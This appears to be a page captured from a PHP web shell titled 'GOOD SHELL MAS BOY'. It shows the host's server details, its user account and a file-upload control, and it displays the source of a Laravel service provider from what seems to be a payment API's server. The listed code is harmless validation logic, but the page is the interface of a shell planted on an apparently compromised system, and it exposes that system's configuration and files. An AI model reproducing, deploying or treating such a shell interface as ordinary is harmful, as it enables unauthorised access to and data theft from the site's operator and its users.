GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/api.vaspayment.com/app/Providers/AppServiceProvider.php
<?php

namespace App\Providers;

use Illuminate\Support\ServiceProvider;
use Illuminate\Support\Facades\Validator;

class AppServiceProvider extends ServiceProvider
{
    /**
     * Register any application services.
     */
    public function register(): void
    {
        //
    }

    /**
     * Bootstrap any application services.
     */
    public function boot(): void
    {
        Validator::extend('email_validation', function ($attribute, $value, $parameters, $validator) {
            $allowedDomains = ['gmail.com', 'yahoo.com', 'hotmail.com', 'outlook.com'];
            $domain = substr(strrchr($value, "@"), 1);
            return in_array($domain, $allowedDomains);
        }, "The :attribute validation failed. Please try another email.");

        Validator::extend('phone_validation', function ($attribute, $value, $parameters, $validator) {
            return preg_match('/^0(?:70|71|80|81|90|91)[0-9]{8}$/', $value) && strlen($value) <= 11;
        }, 'The :attribute number is incomplete, must be maximum of 11 digits.');
    }
}